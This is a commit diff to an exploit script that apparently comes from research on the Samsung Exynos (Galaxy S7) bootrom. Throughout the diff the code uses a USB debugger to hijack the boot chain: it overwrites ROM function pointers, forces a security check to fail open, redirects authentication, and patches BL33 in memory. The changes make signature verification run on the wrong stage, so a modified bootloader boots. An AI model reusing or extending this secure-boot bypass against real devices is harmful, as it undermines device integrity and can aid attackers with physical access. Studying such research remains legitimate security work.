Boots patched BL33

source/exploit/exploit.py

@@ -599,7 +599,7 @@ class ExynosDevice():
         assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
 
 
-    def test_write_execute(self, address):
+    def test_write_execute(self, address, execute=True):
         """
         At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
         """
@@ -613,6 +613,7 @@ class ExynosDevice():
 
         shellcode = ks.asm(shellcode, as_bytes=True)[0]
         self.cd.memwrite_region(address, shellcode)
+        if execute:
             self.cd.jump_to(address)
             self.usb_write(b"PING")
             assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
@@ -654,15 +655,28 @@ class ExynosDevice():
         self.connect_device()
 
         # Send boot stage 1
-        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
+        bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
+        self.send_normal_stage(bl1)
         assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
 
+        # Dump contents of TTBR0_EL3 from memory into a pandas dataframe and write it to a pickle file
+        import pandas as pd
+        blub = self.cd.memdump_region(0x02035000, 0x1000)
+        try:
+            df = pd.read_pickle('ttbr0_el3.pkl')
+            # Concat data to existing dataframe
+            df = pd.concat([df, pd.Series([blub])], ignore_index=True)
+        except:
+            df = pd.DataFrame()
+            df['TTBR0_EL3'] = [blub]
+        df.to_pickle('ttbr0_el3.pkl')
+
         # Setup jump and bl_auth
         AUTH_BL1 = 0x00012848 # Location of the authentication function
-        def auth_bl1(lr=0x2069000):
+        def auth_bl1(lr=0x2069000, x0=1, x1=1):
             # Load the firmware
-            self.cd.arch_dbg.state.X0 = 1
+            self.cd.arch_dbg.state.X0 = x0
-            self.cd.arch_dbg.state.X1 = 1
+            self.cd.arch_dbg.state.X1 = x1
             self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
             self.cd.restore_stack_and_jump(AUTH_BL1)
             assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
@@ -678,6 +692,9 @@ class ExynosDevice():
         self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
         self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
 
+        # Write a patch to BL1 in memory
+        # self.cd.memwrite_region(0x2021800+bl1.find(b'2015'), b'2014')
+
         # Jump into BL1 (sboot.bin.1.bin)
         JUMP_BL1 = 0x000002c0
         def jump_bl1(lr):
@@ -719,7 +736,10 @@ class ExynosDevice():
         TTBR0_EL3 = 0x02035600 # Zeroed out
 
         # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
-        self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false
+        self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
+
+        # DWC3 OTG update mode -> Might be useful at some point?
+        # self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
 
         # Jump into BL31 and execute it
         self.cd.restore_stack_and_jump(0x02024010)
@@ -748,15 +768,6 @@ class ExynosDevice():
 
         # ==== Stage 4 BL2 ====
         bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
-
-        # Patching
-        # bl2 = len(bl2)
-        # patch_len = len(b"MNGS_QUAD")
-        # patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch")))
-        # patch_offset = bl2.find(b"MNGS_QUAD")
-        # bl2 = bl2[:patch_offset] + patch + bl2[patch_len + patch_offset:]
-        # assert len(stage4) == stage4_len, "Invalid bl2 length"
-
         self.send_normal_stage(bl2)
         time.sleep(2)
         self.connect_device()
@@ -773,7 +784,7 @@ class ExynosDevice():
 
         # Restore bootflow
         print(self.cd.arch_dbg.state.print_ctx())
-        BL33_jump = self.cd.arch_dbg.state.X0
+        BL33_ptr = self.cd.arch_dbg.state.X0
         BL33_LR = self.cd.arch_dbg.state.LR
         self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
         
@@ -788,13 +799,22 @@ class ExynosDevice():
         self.connect_device()
         self.usb_read(0x200) # GiAs
 
-        # Modify something in BL33 
+        print(self.cd.arch_dbg.state.print_ctx())
-        # print(self.cd.memdump_region(0x8f063710, 0x8))
-        # self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53616d74))
-        # self.cd.memdump_region(0x8f063710, 0x8)
 
-        self.cd.arch_dbg.state.X0 = BL33_jump
+        # Trying to patch BL33 but continuing good boot flow
-        self.cd.restore_stack_and_jump(BL33_LR)
+        # auth_bl1(DEBUGGER_ADDR, 0, 0)
+
+        # # Modify something in BL33 
+        print(self.cd.memdump_region(0x8f063710, 0x8))
+        # Samsung == SaMtung
+        self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74))
+
+        # Modify USB Recovyer mode string to something else
+        self.cd.memwrite_region(0x8f06ab10, b'\x50\x41\x54\x43\x48\x49\x4e\x47\x20\x42\x4c\x33\x33\x3a\x2d\x29\x0a\x00')
+        print(self.cd.memdump_region(0x8f063710, 0x8))
+
+        # Do signature verification on BL2 instead of BL33 and proceed to boot (original is jump to 0x2024eec)
+        self.cd.restore_stack_and_jump(0x02024e58)
 
         pass